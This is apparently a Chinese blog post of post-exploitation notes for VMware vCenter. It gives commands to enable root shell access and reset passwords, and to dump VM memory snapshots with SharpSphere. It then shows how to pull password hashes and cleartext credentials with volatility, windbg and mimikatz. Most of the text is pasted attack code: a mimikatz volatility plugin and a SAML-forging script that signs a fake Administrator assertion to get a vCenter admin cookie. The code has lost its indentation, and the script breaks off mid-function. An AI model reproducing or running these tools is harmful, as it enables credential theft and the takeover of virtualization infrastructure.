vmware的后渗透利用

admin 2022年6月30日02:01:31vmware的后渗透利用已关闭评论650 views字数 36944阅读123分8秒阅读模式

分享一些总结的点。不完全式发布。

通过vcenter账号获得vcenter机器权限

  • 进入5480管理端口。
  • 开启ssh和Bash Shell
  • 然后使用,vcenter账号登录ssh,这个账号具有sudo权限。
  • 如果你不能访问到5480端口,只能访问443端口如何修改呢?
  • 使用dcli(vcli安装完成后有)
  • dcli +server 192.168.233.135 +skip-server-verification +interactive 进入交互模式
  • 当执行命令的时候会让你输入账号密码
  • com vmware appliance access ssh set --enabled true 设置ssh为ture
  • com vmware appliance access shell set --enabled true --timeout 10000 开启bash shell(166分钟自动退出)

直接修改成随机密码

  • /usr/lib/vmware-vmdir/bin/vdcadmintool中有一个随机密码选项可以生成一个随机密码
  • windows在的位置为C:\Program Files\VMware\vCenter Server\vmdird\vdcadmintool.exe

unpentry.jsp 文件就是登录主页

windows快照获得密码或hash

  • 使用SharpSphere.exe
  • .\SharpSphere.exe dump --url https://192.168.233.135/sdk --username [email protected] --password Test@test1234 --targetvm "windows_server_2012" --destination "C:\Users\jack\Desktop\vCenter\vm" --snapshot
  • 会自动生成一个快照下载快照然后移除文件。
  • 将文件名改为快照文件后缀.vmem,将快照配置文件后缀改为vmsn。
  • vmem和vmsn或vmss必须在一块才能正确执行。
  • 使用volatility_2.6_win64_standalone.exe进行破解快照中的密码
    • .\volatility_2.6_win64_standalone.exe -f .\123.vmem imageinfo 获得推荐的快照系统版本信息,为profile选项提供信息
    • .\volatility_2.6_win64_standalone.exe -f .\123.vmem --profile=Win2012R2x64_18340 hivelist 根据imageinfo获得快照版本信息,选择适合的填写到profile里面,然后使用指定hivelist将获得SYSTEM,SAM的地址位置
    • .\volatility_2.6_win64_standalone.exe -f .\123.vmem --profile=Win2012R2x64_18340 hashdump -y 0xffffc00098e28000 -s 0xffffc00099467000 hashdump选项用来获得hash,-y是system文件的地址,-s是SAM文件的地址。
  • 使用python版本volatility
  • https://github.com/volatilityfoundation/volatility 中下载文件
  • 配置环境
    • sudo python setup.py install
    • sudo apt-get install yara
    • sudo apt-get install pcregrep libpcre++-dev python-dev -y
    • sudo apt-get install python-pip
    • sudo -H pip install --upgrade pip
    • sudo -H pip install distorm3 pycrypto openpyxl Pillow
    • 如果报找不到yara就需要ln -s /usr/local/lib/python2.7/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so
  • 使用/user/local/bin/中的vol.py来运行mimikatz。

```

Volatility mimikatz plugin

Based on the research made by Gentil_Kiwi for his mimikatz

http://blog.gentilkiwi.com/mimikatz

https://code.google.com/p/mimikatz/

Author: Francesco Picasso francesco.picasso@gmail.com

This plugin is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 2 of the License, or

(at your option) any later version.

This plugin is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this plugin. If not, see http://www.gnu.org/licenses/.

"""
@author : Francesco Picasso
@license : GPL 2 or later
@contact : [email protected]
@organization : www.realitynet.it
"""

import construct
import os
import re
import struct
import volatility.obj as obj
import volatility.debug as debug
import volatility.commands as commands
import volatility.constants as constants
import volatility.utils as utils
import volatility.win32.tasks as tasks

from Crypto.Cipher import AES
from Crypto.Cipher import DES3

------------------------------------------------------------------------------

class Credential():
"""TODO: add description here."""

def init(self, module='', username='', domain='', epwd='', pwd=''):
self.module = module
self.username = username
self.domain = domain
self.epwd = epwd
self.pwd = pwd
self.signature = module + username + domain + epwd.encode('hex')

def decrypt_epwd(self, decryptor):
if self.epwd and decryptor:
self.pwd = decryptor.decrypt(self.epwd)
try:
self.pwd = self.pwd.decode('utf-16-le').rstrip('\0')
except UnicodeDecodeError:
debug.warning('[Credential:decrypt_epwd] unicode decode error')
self.pwd = self.pwd.encode('hex')

def dump(self):
debug.notice('m<{}> u<{}> d<{}> ep<{}> p<{}>'.format(
self.module, self.username, self.domain,
self.epwd.encode('hex'), self.pwd))

class Credentials():
"""TODO: add description here."""

def init(self):
self.credentials = []

def add_credential(self, credential):
already_in = False
for cred in self.credentials:
if cred.signature == credential.signature:
already_in = True
if not already_in:
self.credentials.append(credential)

------------------------------------------------------------------------------

class MemoryScanner(object):
"""An address space scanner based on scudette's Yara Scanner"""

def init(self, task):
self.task = task

def _find_first(self, address_space, offset, maxlen, signature):
"""Raw memory scanner with overlap."""
# Allow some bytes for overlapping signatures
overlap = 1024
i = offset
while i < offset + maxlen:
to_read = min(
constants.SCAN_BLOCKSIZE + overlap, offset + maxlen - i)
block = address_space.zread(i, to_read)
if block:
match = block.find(signature)
if match >= 0:
return match
i += constants.SCAN_BLOCKSIZE

def find_first(self, offset, signature):
"""Find the first match using VADs. It retuns a VA."""
task_as = self.task.get_process_address_space()
task_vads = self.task.get_vads(skip_max_commit = True)
for vad, __ in task_vads:
if offset >= vad.Start and offset <= vad.Start + vad.Length:
position = self._find_first(task_as, vad.Start, vad.Length, signature)
if position:
return position + vad.Start

------------------------------------------------------------------------------

class MimikatzBase(object):
"""The mimikatz base class, used to defined common attributes/methods."""
SIZEOF_LONG = 4
SIZEOF_PTR = None
UNPACK_PTR = None
UNPACK_LONG = '<L'

def init(self, task):
self.task = task
self.task_as = task.get_process_address_space()

def get_ptr(self, pos):
raw_data = self.task_as.zread(pos, self.SIZEOF_PTR)
if raw_data:
return struct.unpack(self.UNPACK_PTR, raw_data)[0]

def get_data(self, pos, size):
if pos and size:
return self.task_as.zread(pos, size)
return ''

class Mimikatz_x86(MimikatzBase):
"""The mimikatz x86 base class."""
SIZEOF_PTR = 4
UNPACK_PTR = '<L'

def init(self, task):
MimikatzBase.init(self, task)
MimikatzBase.init(self, task)

def get_ptr_with_offset(self, pos):
return self.get_ptr(pos)

class Mimikatz_x64(MimikatzBase):
"""The mimikatz x64 base class."""
SIZEOF_PTR = 8
UNPACK_PTR = '<Q'

def init(self, task):
MimikatzBase.init(self, task)

def get_ptr_with_offset(self, pos):
raw_data = self.task_as.zread(pos, self.SIZEOF_LONG)
if raw_data:
ptr = struct.unpack(self.UNPACK_LONG, raw_data)[0]
return pos + self.SIZEOF_LONG + ptr

------------------------------------------------------------------------------

class LsaDecryptor():
"""TODO: add description."""
SIGNATURE = None
IV_LENGTH = 16
PTR_IV_OFFSET = None
PTR_AES_KEY_OFFSET = None
PTR_DES_KEY_OFFSET = None
UUUR_TAG = 0x55555552
MSSK_TAG = 0x4d53534b

HARD_KEY = construct.Struct('KIWI_HARD_KEY',
construct.ULInt32('cbSecret'),
construct.Field('data', lambda ctx: ctx.cbSecret))

# Modified to include HARD_KEY size.
BCRYPT_KEY = construct.Struct('KIWI_BCRYPT_KEY',
construct.ULInt32('size'),
construct.ULInt32('tag'), # 'MSSK'.
construct.ULInt32('type'),
construct.ULInt32('unk0'),
construct.ULInt32('unk1'),
construct.ULInt32('unk2'),
construct.ULInt32('cbSecret'))

def init(self):
self.iv = ''
self.aes_key = ''
self.des_key = ''

def find_signature(self):
for mod in self.task.get_load_modules():
if str(mod.BaseDllName).lower() == 'lsasrv.dll':
scanner = MemoryScanner(self.task)
return scanner.find_first(mod.DllBase.v(), self.SIGNATURE)
debug.warning('[LsaDecryptor:find_signature()] signature not found!')

def get_IV(self, pos):
ptr_iv = self.get_ptr_with_offset(pos + self.PTR_IV_OFFSET)
if ptr_iv:
return self.get_data(ptr_iv, self.IV_LENGTH)

def get_key(self, pos, key_offset):
ptr_key = self.get_ptr_with_offset(pos + key_offset)
if ptr_key:
ptr_key = self.get_ptr(ptr_key)
if ptr_key:
size = self.BCRYPT_HANDLE_KEY.sizeof()
data = self.get_data(ptr_key, size)
if data:
kbhk = self.BCRYPT_HANDLE_KEY.parse(data)
if kbhk.tag == self.UUUR_TAG:
ptr_key = kbhk.ptr_kiwi_bcrypt_key
size = self.BCRYPT_KEY.sizeof()
data = self.get_data(ptr_key, size)
if data:
kbk = self.BCRYPT_KEY.parse(data)
if kbk.tag == self.MSSK_TAG:
adjust = construct.ULInt32('').sizeof()
size = kbk.cbSecret + adjust
ptr_key = ptr_key + self.BCRYPT_KEY.sizeof() - adjust
data = self.get_data(ptr_key, size)
if data:
khk = self.HARD_KEY.parse(data)
return khk.data
else:
debug.warning('get_key() unable to get HARD_KEY.')
else:
debug.warning('get_key() BCRYPT_KEY invalid tag')
else:
debug.warning('get_key() unable to read BCRYPT_KEY data.')
else:
debug.warning('get_key() BCRYPT_HANDLE_KEY invalid tag')
debug.warning(kbhk)
else:
debug.warning('get_key() unable to read BCRYPT_HANDLE_KEY data.')
else:
debug.warning('get_key() unable to get BCRYPT_HANDLE_KEY pointer.')
else:
debug.warning('get_key()unable to get first pointer.')

def get_des_key(self, pos):
return self.get_key(pos, self.PTR_DES_KEY_OFFSET)

def get_aes_key(self, pos):
return self.get_key(pos, self.PTR_AES_KEY_OFFSET)

def acquire_crypto_material(self):
sigpos = self.find_signature()
if not sigpos:
debug.warning('[LsaDecryptor] unable to find signature!')
return
self.iv = self.get_IV(sigpos)
self.des_key = self.get_des_key(sigpos)
self.aes_key = self.get_aes_key(sigpos)

def decrypt(self, encrypted):
# TODO: NT version specific, move from here in subclasses.
cleartext = ''
size = len(encrypted)
if size:
if size % 8:
if not self.aes_key or not self.iv:
return cleartext
cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
else:
if not self.des_key or not self.iv:
return cleartext
cipher = DES3.new(self.des_key, DES3.MODE_CBC, self.iv[:8])
cleartext = cipher.decrypt(encrypted)
return cleartext

def dump(self):
print 'Dumping LSA Decryptor'
print ' IV ({}): {}'.format(len(self.iv), self.iv.encode('hex'))
print 'DES_KEY ({}): {}'.format(
len(self.des_key), self.des_key.encode('hex'))
print 'AES_KEY ({}): {}'.format(
len(self.aes_key), self.aes_key.encode('hex'))

class LsaDecryptor_x86(LsaDecryptor, Mimikatz_x86):
"""TODO: add description."""
def init(self, lsass_task):
Mimikatz_x86.init(self, lsass_task)
LsaDecryptor.init(self)

class LsaDecryptor_x64(LsaDecryptor, Mimikatz_x64):
"""TODO: add description."""
def init(self, lsass_task):
Mimikatz_x64.init(self, lsass_task)
LsaDecryptor.init(self)

class LsaDecryptor_Vista_x86(LsaDecryptor_x86):
"""Class for Windows Vista x86."""
# MIMIKATZ x86: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[]
SIGNATURE = '\x8b\xf0\x3b\xf3\x7c\x2c\x6a\x02\x6a\x10\x68'
PTR_IV_OFFSET = 11;
PTR_AES_KEY_OFFSET = -15;
PTR_DES_KEY_OFFSET = -70;

BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY',
construct.ULInt32('size'),
construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552.
construct.ULInt32('ptr_void_algorithm'),
construct.ULInt32('ptr_kiwi_bcrypt_key'),
construct.ULInt32('ptr_unknown'))

def init(self, lsass_task):
LsaDecryptor_x86.init(self, lsass_task)

class LsaDecryptor_Win7_x86(LsaDecryptor_x86):
"""Class for Windows 7 x86."""
# MIMIKATZ x86: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[]
SIGNATURE = '\x8b\xf0\x3b\xf3\x7c\x2c\x6a\x02\x6a\x10\x68'
PTR_IV_OFFSET = 11;
PTR_AES_KEY_OFFSET = -15;
PTR_DES_KEY_OFFSET = -70;

BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY',
construct.ULInt32('size'),
construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552.
construct.ULInt32('ptr_void_algorithm'),
construct.ULInt32('ptr_kiwi_bcrypt_key'),
construct.ULInt32('ptr_unknown'))

def init(self, lsass_task):
LsaDecryptor_x86.init(self, lsass_task)

class LsaDecryptor_Vista_x64(LsaDecryptor_x64):
"""Class for Vista x64."""
SIGNATURE = '\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
PTR_IV_OFFSET = 63;
PTR_AES_KEY_OFFSET = 25;
PTR_DES_KEY_OFFSET = -69;

BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY',
construct.ULInt32('size'),
construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552.
construct.ULInt64('ptr_void_algorithm'),
construct.ULInt64('ptr_kiwi_bcrypt_key'),
construct.ULInt64('ptr_unknown'))

def init(self, lsass_task):
LsaDecryptor_x64.init(self, lsass_task)

class LsaDecryptor_Win7_x64(LsaDecryptor_x64):
"""Class for Windows 7 x64."""
# MIMIKATZ x64: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[]
SIGNATURE = '\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
PTR_IV_OFFSET = 59;
PTR_AES_KEY_OFFSET = 25;
PTR_DES_KEY_OFFSET = -61;

BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY',
construct.ULInt32('size'),
construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552.
construct.ULInt64('ptr_void_algorithm'),
construct.ULInt64('ptr_kiwi_bcrypt_key'),
construct.ULInt64('ptr_unknown'))

def init(self, lsass_task):
LsaDecryptor_x64.init(self, lsass_task)

------------------------------------------------------------------------------

class Wdigest():
"""TODO: add description."""
SIGNATURE = None
FIRST_ENTRY_OFFSET = 0
WDIGEST_LIST_ENTRY = None
MODULE_NAME = 'wdigest'
MAX_WALK = 32

def init(self, credentials_obj):
self.entries = []
self.entries_seen = {}
self.credentials_obj = credentials_obj

def find_signature(self):
for mod in self.task.get_load_modules():
if str(mod.BaseDllName).lower() == 'wdigest.dll':
scanner = MemoryScanner(self.task)
return scanner.find_first(mod.DllBase.v(), self.SIGNATURE)
debug.warning('[Wdigest] no wdigest.dll found in lsass process!')

def get_entry_at(self, ptr):
if ptr:
size = self.WDIGEST_LIST_ENTRY.sizeof()
data = self.get_data(ptr, size)
if data:
entry = self.WDIGEST_LIST_ENTRY.parse(data)
return entry

def get_first_entry(self):
position = self.find_signature()
if position:
ptr_entry = self.get_ptr_with_offset(position + self.FIRST_ENTRY_OFFSET)
if ptr_entry:
ptr_entry = self.get_ptr(ptr_entry)
if ptr_entry:
entry = self.get_entry_at(ptr_entry)
if entry:
return entry, ptr_entry
else:
debug.warning('[Wdigest] no wdigest package found.')
return None, None

def get_unicode_string_at(self, ptr, size):
data = self.get_data(ptr, size)
if data:
data_str = ''
try:
data_str = data.decode('utf-16-le').rstrip('\0')
except UnicodeDecodeError as ee:
debug.error(
'[Wdigest] get_unicode_string_at() unicode error {}'.format(
ee))
debug.warning('[Wdigest] src data is <{}>'.format(data_str))
return data_str
else:
debug.error('[Wdigest] get_unicode_string_at() unable to get data')
return ''

def add_entry(self, entry, found_at):
if entry.usage_count:
if entry.this_entry == found_at:
user = domain = epwd = ''
if entry.user_string_ptr and entry.user_len:
user = self.get_unicode_string_at(
entry.user_string_ptr, entry.user_max_len)
if entry.domain_string_ptr and entry.domain_len:
domain = self.get_unicode_string_at(
entry.domain_string_ptr, entry.domain_max_len)
if entry.password_encrypted_ptr and entry.password_len:
epwd = data = self.get_data(
entry.password_encrypted_ptr, entry.password_max_len)
if user:
cred_entry = Credential(self.MODULE_NAME, user, domain, epwd)
self.credentials_obj.add_credential(cred_entry)

def walk_entries(self):
entry, found_at = self.get_first_entry()
if entry:
walk_num = 1
while walk_num < self.MAX_WALK:
self.add_entry(entry, found_at)
self.entries_seen[found_at] = 1
found_at = entry.previous
entry = self.get_entry_at(found_at)
if not entry:
debug.error('Next entry not found!')
break
if entry.this_entry in self.entries_seen:
break
walk_num += 1

class Wdigest_x86(Wdigest, Mimikatz_x86):
"""TODO: add description."""

WDIGEST_LIST_ENTRY = construct.Struct('WdigestListEntry',
construct.ULInt32('previous'),
construct.ULInt32('next'),
construct.ULInt32('usage_count'),
construct.ULInt32('this_entry'),
construct.ULInt64('luid'),
construct.ULInt64('flag'),
construct.ULInt16('user_len'),
construct.ULInt16('user_max_len'),
construct.ULInt32('user_string_ptr'),
construct.ULInt16('domain_len'),
construct.ULInt16('domain_max_len'),
construct.ULInt32('domain_string_ptr'),
construct.ULInt16('password_len'),
construct.ULInt16('password_max_len'),
construct.ULInt32('password_encrypted_ptr'))

def init(self, lsass_task, credentials_obj):
Mimikatz_x86.init(self, lsass_task)
Wdigest.init(self, credentials_obj)

class Wdigest_x64(Wdigest, Mimikatz_x64):
"""TODO: add description."""

WDIGEST_LIST_ENTRY = construct.Struct('WdigestListEntry',
construct.ULInt64('previous'),
construct.ULInt64('next'),
construct.ULInt32('usage_count'),
construct.ULInt32('align1'),
construct.ULInt64('this_entry'),
construct.ULInt64('luid'),
construct.ULInt64('flag'),
construct.ULInt16('user_len'),
construct.ULInt16('user_max_len'),
construct.ULInt32('align2'),
construct.ULInt64('user_string_ptr'),
construct.ULInt16('domain_len'),
construct.ULInt16('domain_max_len'),
construct.ULInt32('align3'),
construct.ULInt64('domain_string_ptr'),
construct.ULInt16('password_len'),
construct.ULInt16('password_max_len'),
construct.ULInt32('align4'),
construct.ULInt64('password_encrypted_ptr'))

def init(self, lsass_task, credentials_obj):
Mimikatz_x64.init(self, lsass_task)
Wdigest.init(self, credentials_obj)

class Wdigest_Vista_x86(Wdigest_x86):
"""Class for Windows Vista x86."""
SIGNATURE = '\x74\x11\x8b\x0b\x39\x4e\x10'
FIRST_ENTRY_OFFSET = -6

def init(self, lsass_task, credentials_obj):
Wdigest_x86.init(self, lsass_task, credentials_obj)

class Wdigest_Win7_x86(Wdigest_x86):
"""Class for Windows 7 x86."""
SIGNATURE = '\x74\x11\x8b\x0b\x39\x4e\x10'
FIRST_ENTRY_OFFSET = -6

def init(self, lsass_task, credentials_obj):
Wdigest_x86.init(self, lsass_task, credentials_obj)

class Wdigest_Win7_x64(Wdigest_x64):
"""Class for Windows 7 x64."""
SIGNATURE = '\x48\x3b\xd9\x74'
FIRST_ENTRY_OFFSET = -4

def init(self, lsass_task, credentials_obj):
Wdigest_x64.init(self, lsass_task, credentials_obj)

class Wdigest_Vista_x64(Wdigest_x64):
"""Class for Windows Vista x64."""
SIGNATURE = '\x48\x3b\xd9\x74'
FIRST_ENTRY_OFFSET = -4

def init(self, lsass_task, credentials_obj):
Wdigest_x64.init(self, lsass_task, credentials_obj)

------------------------------------------------------------------------------

class mimikatz(commands.Command):
"""mimikatz offline"""
def init(self, config, *args, kwargs):
commands.Command.init(self, config, *args,
kwargs)
self.profile = config.get_value('profile')
self.credentials_obj = Credentials()

def find_lsass(self):
addr_space = utils.load_as(self._config)
for task in tasks.pslist(addr_space):
if str(task.ImageFileName) == 'lsass.exe':
return task

def init_objects(self, lsass_task):
lsa_decryptor = None
wdigest = None
if len(self.profile) >= 7:
arch = self.profile[-3:]
sp = self.profile[-6:-3]
os = self.profile[:-6]
if os == 'Vista':
if arch == 'x86':
lsa_decryptor = LsaDecryptor_Vista_x86(lsass_task)
wdigest = Wdigest_Vista_x86(lsass_task, self.credentials_obj)
elif arch == 'x64':
lsa_decryptor = LsaDecryptor_Vista_x64(lsass_task)
wdigest = Wdigest_Vista_x64(lsass_task, self.credentials_obj)
elif os == 'Win7':
if arch == 'x86':
lsa_decryptor = LsaDecryptor_Win7_x86(lsass_task)
wdigest = Wdigest_Win7_x86(lsass_task, self.credentials_obj)
elif arch == 'x64':
lsa_decryptor = LsaDecryptor_Win7_x64(lsass_task)
wdigest = Wdigest_Win7_x64(lsass_task, self.credentials_obj)
else:
pass
return lsa_decryptor, wdigest

def calculate(self):
lsass_task = self.find_lsass()
if not lsass_task:
debug.error('lsass_task process not found!!')
return

lsa_decryptor, wdigest = self.init_objects(lsass_task)
if not lsa_decryptor or not wdigest:
  return

lsa_decryptor.acquire_crypto_material()
wdigest.walk_entries()

for cred in self.credentials_obj.credentials:
  cred.decrypt_epwd(lsa_decryptor)

def render_text(self, outfd, data):
self.table_header(outfd, [("Module", "8"),
("User", "16"),
("Domain", "16"),
("Password", "40")])
for cred in self.credentials_obj.credentials:
self.table_row(
outfd, cred.module, cred.username, cred.domain, cred.pwd)
```

  • vol.py -f "/home/chaiyixia/Windows 7 x64-72447852.vmem" --profile=Win7SP1x64 mimikatz
  • windbg来运行

  • 安装windbg,下载vmss2core和mimikatz

  • 对于Microsoft Windows 8/8.1, Windows Server 2012, Windows Server 2016 or Windows Server 2019
    • vmss2core-sb-8456865.exe -W8 hwu5gv2d.vmsn z53dqmxx.vmem
  • 对于更老的版本用
    • vmss2core-sb-8456865.exe -W hwu5gv2d.vmsn z53dqmxx.vmem
  • 进入windbg,选择file加载dump,然后选择上面生成的dump,需要等很长时间,之后将mimikatz中的Mimilib.dll复制过来, 运行.load C:\Tools\Mimikatz\x64\mimilib.dll,接着运行!process 0 0 lsass.exe,切换到.process /r /p ffffc70462d020c0 地址是上一个命令提供的.最后!mimikatz

SAML 证书登录

  • vSphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。
  • 提取 IdP 证书,为管理员用户创建 SAML 请求,最后使用 vCenter server 进行身份验证并获得有效的管理员 cookie。
  • Linux:/storage/db/vmware-vmdir/data.mdb
  • Windows:C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
  • 下载vcenter_saml_login.py
  • py -3 vcenter_saml_login.py -p data.mdb -t vcenter-ip

```

!/usr/bin/env python3

import argparse
import base64
import bitstring
import sys
import zlib
from string import printable
from urllib.parse import parse_qs, quote, unquote, urlparse

import socket
import ssl
import OpenSSL.crypto as crypto

import ldap
import lxml.etree as etree
import requests
import urllib3
from signxml import XMLSignatureProcessor, XMLSigner
from datetime import datetime
from dateutil.relativedelta import relativedelta
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

idp_cert_flag = b'\x30\x82\x04'
trusted_cert1_flag = b'\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31\x2c\x63\x6e\x3d\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x43\x68\x61\x69\x6e\x73\x2c' # cn=TrustedCertChain-1,cn=TrustedCertificateChains,
trusted_cert2_flag = b'\x01\x00\x12\x54\x72\x75\x73\x74\x65\x64\x43\x65\x72\x74\x43\x68\x61\x69\x6e\x2d\x31' # \x01\x00\x12TrustedCertChain-1
not_it_list = [b'Engineering', b'California', b'object']

SAML_TEMPLATE = \
r"""<?xml version="1.0" encoding="UTF-8"?>

https://$VCENTER/websso/SAML2/Metadata/$DOMAIN


Request successful


https://$VCENTER/websso/SAML2/Metadata/$DOMAIN


Administrator@$DOMAIN








https://$VCENTER/ui/saml/websso/metadata




urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport




$DOMAIN\Users
$DOMAIN\Administrators
$DOMAIN\CAAdmins
$DOMAIN\ComponentManager.Administrators
$DOMAIN\SystemConfiguration.BashShellAdministrators
$DOMAIN\SystemConfiguration.Administrators
$DOMAIN\LicenseService.Administrators
$DOMAIN\Everyone


Administrator@$DOMAIN


false


$DOMAIN


Administrator




"""

def writepem(bytes, verbose):
data = base64.encodebytes(bytes).decode("utf-8").rstrip()
key = "-----BEGIN CERTIFICATE-----\n" + data + "\n-----END CERTIFICATE-----"
if verbose:
print('[*] Extracted Trusted certificate:')
print(key + '\n')

return key

def writekey(bytes, verbose):
data = base64.encodebytes(bytes).decode("utf-8").rstrip()
key = "-----BEGIN PRIVATE KEY-----\n" + data + "\n-----END PRIVATE KEY-----"
if verbose:
print('[*] Extracted IdP certificate:')
print(key + '\n')

return key

def check_key_valid(key, verbose=False):
lines = key.splitlines()
if lines[1].startswith('MI'):
return True
else:
if verbose:
print('[!] Certificate does not begin with magic bytes')
return False

def get_idp_cert(stream, verbose=False):
tup = stream.findall(idp_cert_flag, bytealigned=True)
matches = list(tup)
for match in matches:
stream.pos = match - 32
flag = stream.read('bytes:3')
if flag == b'\x00\x01\x04':
size_hex = stream.read('bytes:1')
size_hex = b'\x04' + size_hex
size = int(size_hex.hex(), 16)
cert_bytes = stream.read(f'bytes:{size}')
if any(not_it in cert_bytes for not_it in not_it_list):
continue

        key = writekey(cert_bytes, verbose)
        if not check_key_valid(key):
            continue

        print('[*] Successfully extracted the IdP certificate')  
        return key
else:
    print(f'[-] Failed to find the IdP certificate')
    sys.exit()

def get_domain_from_cn(cn):
parts = cn.split(',')
domain_parts = []
for part in parts:
if part.lower().startswith('dc='):
domain_parts.append(part[3:])
domain = '.'.join(domain_parts).strip()
domain = ''.join(char for char in domain if char in printable)
return domain

def get_trusted_cert1(stream, verbose=False):
tup = stream.findall(trusted_cert1_flag)
matches = list(tup)
if matches:
for match in matches:
stream.pos = match
if verbose:
print(f'[!] Looking for cert 1 at position: {match}')

        cn_end = stream.readto('0x000013', bytealigned=True)
        cn_end_pos = stream.pos
        if verbose:
            print(f'[!] CN end position: {cn_end_pos}')

        stream.pos = match
        cn_len = int((cn_end_pos - match - 8) / 8)
        cn = stream.read(f'bytes:{cn_len}').decode()
        domain = get_domain_from_cn(cn)
        if domain:
            print(f'[*] CN: {cn}')
            print(f'[*] Domain: {domain}')
        else:
            print(f'[!] Failed parsing domain from CN')
            sys.exit()

        cn = stream.readto(f'0x0002', bytealigned=True)

        # Get TrustedCertificate1 pem 1
        cert1_size_hex = stream.read('bytes:2')
        cert1_size = int(cert1_size_hex.hex(), 16)
        cert1_bytes = stream.read(f'bytes:{cert1_size}')
        if verbose:
            print(f'[!] Cert 1 size: {cert1_size}')

        if b'ssoserverSign' not in cert1_bytes:
            if verbose:
                print('[!] Cert does not contain ssoserverSign - keep looking')
            continue

        cert1 = writepem(cert1_bytes, verbose)
        if not check_key_valid(cert1):
            continue

        print('[*] Successfully extracted trusted certificate 1')
        return cert1, domain
else:
    print(f'[-] Failed to find the trusted certificate 1 flags')

def get_trusted_cert2(stream, verbose=False):
# Get TrustedCertificate1 pem2
tup = stream.findall(trusted_cert2_flag)
matches = list(tup)
for match in matches:
stream.pos = match - 10240

    try:
        start = stream.readto('0x308204', bytealigned=True)
    except:
        print('Failed finding cert 2 with flag 1, looking for flag 2...')
        try:
            start = stream.readto('0x308203', bytealigned=True)
        except:
            print('Failed finding cert 2')
            sys.exit()

    stream.pos = stream.pos - 40
    cert2_size_hex = stream.read('bytes:2')
    cert2_size = int(cert2_size_hex.hex(), 16)
    cert2_bytes = stream.read(f'bytes:{cert2_size}')
    if verbose:
        print(f'Cert 2 Size: {cert2_size}')

    cert2 = writepem(cert2_bytes, verbose)
    if not check_key_valid(cert2):
        continue

    print('[*] Successfully extracted trusted certificate 2')
    return cert2

print(f'[-] Failed to find the trusted cert 2')
sys.exit()

def saml_request(vcenter):
"""Get SAML AuthnRequest from vCenter web UI"""
try:
print(f'[*] Initiating SAML request with {vcenter}')
r = requests.get(f"https://{vcenter}/ui/login", allow_redirects=False, verify=False)
if r.status_code != 302:
raise Exception("expected 302 redirect")
o = urlparse(r.headers["location"])
sr = parse_qs(o.query)["SAMLRequest"][0]
dec = base64.decodebytes(sr.encode("utf-8"))
req = zlib.decompress(dec, -8)
return etree.fromstring(req)
except:
print(f'[-] Failed initiating SAML request with {vcenter}')
raise

def fill_template(vcenter_hostname, vcenter_ip, vcenter_domain, req):
"""Fill in the SAML response template"""
try:
print('[*] Generating SAML assertion')
# Generate valid timestamps
before = (datetime.today() + relativedelta(months=-1)).isoformat()[:-3]+'Z'
after = (datetime.today() + relativedelta(months=1)).isoformat()[:-3]+'Z'

    # Replace fields dynamically
    t = SAML_TEMPLATE
    t = t.replace("$VCENTER_IP", vcenter_ip)
    t = t.replace("$VCENTER", vcenter_hostname)
    t = t.replace("$DOMAIN", vcenter_domain)
    t = t.replace("$ID", req.get("ID"))
    t = t.replace("$ISSUEINSTANT", req.get("IssueInstant"))
    t = t.replace("$NOT_BEFORE", before)
    t = t.replace("$NOT_AFTER", after)
    return etree.fromstring(t.encode("utf-8"))
except:
    print('[-] Failed generating the SAML assertion')
    raise

def sign_assertion(root, cert1, cert2, key):
"""Sign the SAML assertion in the response using the IdP key"""
try:
print('[*] Signing the SAML assertion')
assertion_id = root.find("{urn:oasis:names:tc:SAML:2.0:assertion}Assertion").get("ID")
signer = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#")
signed_assertion = signer.sign(root, reference_uri=assertion_id, key=key, cert=[cert1, cert2])
return signed_assertion
except:
print('[-] Failed signing the SAML assertion')
raise

def login(vcenter, saml_resp):
"""Log in to the vCenter web UI using the signed response and return a session cookie"""
try:
print('[*] Attempting to log into vCenter with the signed SAML request')
resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
r = requests.post(
f"https://{vcenter}/ui/saml/websso/sso",
allow_redirects=False,
verify=False,
data={"SAMLResponse": base64.encodebytes(resp)},
)
if r.status_code != 302:
raise Exception("expected 302 redirect")
cookie = r.headers["Set-Cookie"].split(";")[0]
print(f'[+] Successfuly obtained Administrator cookie for {vcenter}!')
print(f'[+] Cookie: {cookie}')
except:
print('[-] Failed logging in with SAML request')
raise

def get_hostname(vcenter):
try:
print('[*] Obtaining hostname from vCenter SSL certificate')
dst = (vcenter, 443)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(dst)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=dst[0])

    # get certificate
